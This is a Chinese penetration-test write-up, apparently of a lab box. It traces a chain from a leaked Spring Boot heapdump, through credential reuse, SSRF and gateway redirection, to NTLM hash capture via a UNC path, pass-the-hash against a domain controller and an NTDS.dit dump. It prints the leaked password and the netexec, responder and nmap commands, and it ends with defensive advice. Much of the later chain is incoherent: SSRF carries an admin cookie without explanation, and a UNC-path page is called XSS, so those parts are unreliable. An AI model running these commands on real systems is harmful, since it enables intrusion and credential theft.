记一次域渗透实战之heapddump深度利用到Gateway劫持获取域控的过程
字数 3265 2025-10-01 14:05:52
记一次域渗透实战:从Heapdump深度利用到Gateway劫持获取域控
文档摘要
本报告详细复盘了一次通过对Spring Boot应用堆转储(Heapdump)文件的分析,获取关键凭证,进而通过SSRF、流量劫持与XSS组合拳,最终接管整个域环境的完整渗透过程。过程涉及信息收集、漏洞分析、内网横向移动及权限提升等多个关键阶段。
1. 信息收集阶段 (Information Gathering)
1.1 端口扫描 (Port Scanning)
攻击者使用 nmap 对目标进行探测,发现开放端口:
- 22/tcp:SSH服务,可能的远程管理入口。
- 80/tcp:HTTP服务,Web应用主要入口。
- 8761/tcp:Spring Boot Admin Server或Eureka服务发现组件常用端口,是重点攻击面。
命令示例:
nmap -sS -sV -O <目标IP>
1.2 Web应用探测 (Web Application Reconnaissance)
- 访问80端口Web应用,发现是一个商品展示网站(Furni_WebApp)。
- 通过访问不存在的路径触发错误页面,确认后端采用 Spring Boot 框架,这增加了发现Spring相关漏洞(如Actuator未授权访问、SPEL表达式注入)的可能性。
- 对Web目录进行爆破,发现了关键信息泄露点:
/heapdump端点,并成功下载了Heapdump文件。
2. 堆转储文件分析 (Heapdump Analysis)
Heapdump是JVM应用程序在特定时刻的内存快照,其中可能包含运行时的敏感信息,如数据库连接字符串、密码、密钥、会话对象等。
2.1 手动分析 (Manual Analysis)
- 使用 Eclipse MAT 或 JVisualVM 等工具加载heapdump文件。
- 通过检索关键词如
jdbc、url、password、user来寻找数据库连接配置。
2.2 自动化工具分析 (Automated Analysis)
- 使用自动化工具 JDumpSpider 快速分析heapdump文件,高效地提取出硬编码在内存中的敏感信息。
- 关键发现:从内存中提取出完整的MySQL数据库连接字符串。
jdbc:mysql://localhost:3306/Furni_WebApp_DB?user=oscar190&password=0sc@r190_S0l!dP@sswd
2.3 凭证复用 (Credential Reuse)
- 攻击者立即使用获取到的用户名
oscar190和密码0sc@r190_S0l!dP@sswd进行凭证复用攻击。 - 使用 netexec (原crackmapexec) 验证该凭证对SSH服务的有效性。
netexec ssh <目标IP> -u oscar190 -p '0sc@r190_S0l!dP@sswd' - 结果:成功通过SSH登录到系统,获得初始立足点。
3. 内网横向移动 (Lateral Movement)
3.1 环境探查 (Post-Exploitation Recon)
登录后,攻击者开始收集当前系统信息:
- 用户信息:确认当前用户为
oscar190,并查看是否有其他用户。 - 权限评估:检查sudo权限(
sudo -l),发现该用户并无特殊权限。 - 网络信息:检查网络连接(
netstat -antp)、ARP表(arp -a)等,发现该机器存在多块网卡,处于一个内网环境中。 - 进程与服务:检查运行的服务,发现关键应用。
3.2 配置文件分析 (Configuration Analysis)
在Web应用根目录(如 /opt/tomcat/webapps/ROOT/ 或 /home/oscar190/app/)下寻找配置文件:
- application.properties 或 application.yml:发现了另一个内部应用的配置。
- 关键发现:找到一个指向内网网关管理界面的配置,其地址类似于
http://192.168.1.1:8080/admin。
3.3 攻击向量:SSRF (Server-Side Request Forgery)
- 攻击者在Web应用上寻找功能点(如商品信息查询、API接口),发现一处请求外部URL的功能。
- 利用该功能构造恶意请求,将其作为代理访问内网资源(即之前发现的网关管理地址)。
- Payload示例:
http://192.168.1.1:8080/admin - 结果:成功通过SSRF访问到内网网关设备的管理后台界面。
4. 权限提升与域控获取 (Privilege Escalation & Domain Compromise)
4.1 攻击向量:流量劫持与XSS (Traffic Hijacking & XSS)
网关管理界面存在存储型XSS漏洞。攻击者通过SSRF,以管理员会话(Cookie)在网关后台执行操作。
-
创建恶意路由/策略:在网关节点的管理界面中,添加一条恶意路由策略或DNS重定向规则。
- 目的:将内网中所有对
*.google.com(或某个常见域名)的HTTP请求,重定向到攻击者控制的一台服务器(http://<攻击者IP>/capture)。 - 原理:这是一种网关劫持,所有域内用户访问Google的流量都会被引导到攻击者的服务器上。
- 目的:将内网中所有对
-
部署XSS载荷:在攻击者服务器(
/capture)上,放置一个精心构造的HTML页面,其内容为一段用于获取域用户NTLM Hash的XSS载荷。- 常用技术:NTLM Hash捕获。页面中包含一个指向攻击者机器的UNC路径(
\\<攻击者IP>\share),
这会触发Windows系统的认证请求,从而将当前登录用户的NTLMv2 Hash发送给攻击者。 - 工具:攻击者使用
responder或ntlmrelayx在本地监听,等待Hash送上门。responder -I eth0
- 常用技术:NTLM Hash捕获。页面中包含一个指向攻击者机器的UNC路径(
-
等待触发:当域内任意用户(最好是域管理员)访问被劫持的域名时,其浏览器会被重定向到恶意页面,并自动发起认证,泄露其NTLM Hash。
4.2 哈希传递攻击 (Pass-the-Hash)
- 攻击者捕获到域管理员的NTLM Hash后,使用 netexec 或 psexec 进行哈希传递攻击(PtH),直接模拟域管理员身份访问域控制器。
netexec smb <域控IP> -u Administrator -H <捕获到的NTLMHash> -x "whoami"
4.3 获取域控权限 (Domain Compromise)
- 通过PtH获得域控的SYSTEM权限后,即可执行任意命令,从而完全控制整个域环境。
- 最终标志:成功转储域控制器的NTDS.dit数据库,获取域内所有用户的哈希值,标志着整个域渗透的完成。
5. 漏洞链总结与防御建议
5.1 攻击链梳理
- 信息泄露:
/heapdump端点未授权访问 → 获取数据库明文密码。 - 凭证复用:数据库密码复用至SSH服务 → 获得初始shell。
- 内部侦察:发现内网网关管理地址。
- SSRF:利用Web功能漏洞访问内网网关管理界面。
- 网关劫持 + XSS:通过网关配置注入实现流量劫持,结合XSS窃取NTLM Hash。
- 哈希传递:利用捕获的域管理员Hash直接控制域控。
5.2 防御建议 (Defensive Recommendations)
- 禁止生产环境开启Heapdump:切勿将
heapdump等Actuator端点映射到公网。必要时,应通过防火墙策略严格限制访问源。 - 使用强密码且避免复用:为不同服务(DB, SSH, OS)使用唯一、复杂的密码。建议使用密码管理器。
- 网络分段与隔离:严格划分网络区域,确保Web服务器无法直接访问核心网络设备(如网关、域控)的管理接口。
- 最小权限原则:为应用程序账户分配所需的最小权限,避免其能够读取敏感配置文件或执行系统命令。
- 输入输出过滤:对所有用户输入进行严格过滤和校验,彻底杜绝SSRF和XSS漏洞的产生。
- 禁用不必要的协议:在内网中,考虑禁用LLMNR、NBT-NS等协议,以防止NTLM Relay攻击。
- 启用强制签名:对SMB等协议启用强制签名,增加哈希传递攻击的难度。